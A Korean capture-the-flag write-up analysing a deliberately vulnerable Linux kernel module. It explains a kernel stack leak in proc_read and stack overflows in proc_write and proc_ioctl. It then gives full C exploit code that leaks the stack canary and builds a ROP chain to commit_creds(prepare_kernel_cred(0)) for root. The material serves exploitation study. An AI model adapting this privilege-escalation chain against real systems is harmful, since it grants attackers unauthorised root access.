The Jumps
취약점 분석
모듈은 init_module에서 0x400 바이트 크기의 전역 버퍼 proc_data를 __vmalloc으로 할당하고, /proc/shellcode_device를 0666 권한으로 생성한다. 일반 유저가 read, write, ioctl 핸들러를 호출할 수 있다.
1. proc_read의 커널 스택 정보 유출
proc_read는 유저가 넘긴 count만큼 커널 스택 내용을 proc_data로 복사한 뒤 다시 유저 버퍼로 복사한다. 복사 원본은 현재 함수의 스택 프레임인데, 길이는 유저가 제어한다. 이로 인해 stack canary, 커널 스택 주소, 커널 코드 주소가 유저 공간으로 유출된다.
count > 0x400일 때도 에러로 중단하지 않고 로그 출력 후 복사 루틴으로 합류한다. 익스플로잇에서는 read(fd, buf, 0x100)으로 canary를 얻고, proc_write의 canary 검사를 우회한다.
ssize_t proc_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
char stack_buf[0x20];
if (count > 0x400)
printk("Buffer overflow detected\n");
memcpy(proc_data, stack_buf, count);
if (_copy_to_user(buf, proc_data, count))
return -EFAULT;
return count;
}2. proc_write의 스택 버퍼 오버플로우
proc_write는 count <= 0x3ff만 검사한다. 이후 유저 입력을 proc_data에 복사하고, 다시 0x20 바이트 지역 버퍼 tmp로 count 바이트를 복사한다. count가 0x20보다 크면 stack canary, saved rbp, return address를 덮을 수 있다.
익스플로잇은 proc_read로 얻은 canary를 payload의 tmp + 0x20 위치에 넣어 canary 검사를 통과시킨다. 그 뒤 return address를 ROP chain으로 덮어 commit_creds(prepare_kernel_cred(0))를 실행한다.
ssize_t proc_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
{
char tmp[0x20];
memset(tmp, 0, sizeof(tmp));
if (count > 0x3ff)
return -EINVAL;
if (_copy_from_user(proc_data, buf, count - 1))
return -EFAULT;
memcpy(tmp, proc_data, count);
proc_data[count] = 0;
return count;
}추가 취약점: proc_ioctl의 스택 버퍼 오버플로우
proc_ioctl도 cmd == 0x7301일 때 0x20 바이트 지역 버퍼에 proc_data 0x400 바이트를 복사한다. proc_data를 먼저 제어할 수 있으므로 이 경로도 별도 ROP 트리거로 사용할 수 있다.
long proc_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
char buff[0x20];
if (cmd != 0x7301)
return -EINVAL;
memset(buff, 0, sizeof(buff));
memcpy(buff, proc_data, 0x400);
printk("Buff = %s\n", buff);
return 0;
}Exploit 과정
Step 1: 유저 모드 복귀 상태 저장
커널 ROP 이후 정상적으로 유저 모드의 shell()로 돌아오기 위해 cs, ss, rflags, rsp를 저장한다. ROP 마지막에는 KPTI trampoline을 통해 이 값들을 사용해 유저 모드로 복귀한다.
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
}Step 2: /proc/shellcode_device 열기
모듈이 생성한 proc entry는 0666 권한이므로 일반 유저도 접근할 수 있다.
int fd = open("/proc/shellcode_device", O_RDWR);Step 3: proc_read로 stack canary leak
read(fd, buf, 0x100)을 호출하면 proc_read가 커널 스택 내용을 유저에게 복사한다. 현재 익스플로잇은 buf + 0x18에서 canary를 읽는다.
char buf[0x100] = {0};
read(fd, buf, sizeof(buf));
canary = *(uint64_t *)(buf + 0x18);Step 4: ROP chain 구성
payload는 proc_write의 지역 버퍼 tmp 기준으로 배치한다. payload[4]가 stack canary 위치이고, 그 뒤에 saved rbp dummy와 return address부터 실행될 ROP chain을 둔다.
ROP 흐름은 prepare_kernel_cred(0) 호출, 반환값을 rdi로 이동, commit_creds(rdi) 호출, KPTI trampoline으로 유저 모드 복귀 순서다.
void *commit_creds = 0xffffffff81087e90;
void *prepare_kernel_cred = 0xffffffff810881d0;
void *kpti_trampoline = 0xffffffff81c00a2f + 22;
void *pop_rdi = 0xffffffff81001518;
void *mov_rdi_rax_rep_movsq = 0xffffffff8101c07b;
void *pop_rcx = 0xffffffff81065913;
uint64_t payload[0x20] = {0};
ssize_t off = 0x4;
payload[off++] = canary;
payload[off++] = 0;
payload[off++] = pop_rdi;
payload[off++] = 0;
payload[off++] = prepare_kernel_cred;
payload[off++] = pop_rcx;
payload[off++] = 0;
payload[off++] = mov_rdi_rax_rep_movsq;
payload[off++] = commit_creds;
payload[off++] = kpti_trampoline;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = &shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;Step 5: write로 BOF 트리거
write(fd, payload, sizeof(payload))를 호출하면 proc_write에서 memcpy(tmp, proc_data, count)가 실행된다. tmp는 0x20 바이트이지만 count는 0x100이므로 return address가 ROP chain으로 덮인다.
write(fd, payload, sizeof(payload));Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
info("Saved state successfully!");
}
int main()
{
important("happy hacking!");
save_state();
int fd = open("/proc/shellcode_device", O_RDWR);
if (fd < 0)
{
perror("open");
return -1;
}
info("opened /proc/shellcode_device");
// canary leak
char buf[0x100] = {0};
uint64_t canary, stack_addr;
read(fd, buf, sizeof(buf));
hexdump(buf, sizeof(buf));
canary = *(uint64_t *)(buf + 0x18);
info("canary: 0x%lx", canary);
// stack bof rop
void *commit_creds = 0xffffffff81087e90;
void *prepare_kernel_cred = 0xffffffff810881d0;
void *kpti_trampoline = 0xffffffff81c00a2f + 22;
void *pop_rdi = 0xffffffff81001518;
void *mov_rdi_rax_rep_movsq = 0xffffffff8101c07b;
void *pop_rcx = 0xffffffff81065913;
uint64_t payload[0x20] = {0};
memset(payload, 0, sizeof(payload));
ssize_t off = 0x4;
payload[off++] = canary;
payload[off++] = 0; // dummy
payload[off++] = pop_rdi;
payload[off++] = 0;
payload[off++] = prepare_kernel_cred;
payload[off++] = pop_rcx;
payload[off++] = 0; // dummy
payload[off++] = mov_rdi_rax_rep_movsq;
payload[off++] = commit_creds;
payload[off++] = kpti_trampoline;
payload[off++] = 0; // dummy
payload[off++] = 0; // dummy
payload[off++] = &shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
write(fd, payload, sizeof(payload));
return 0;
}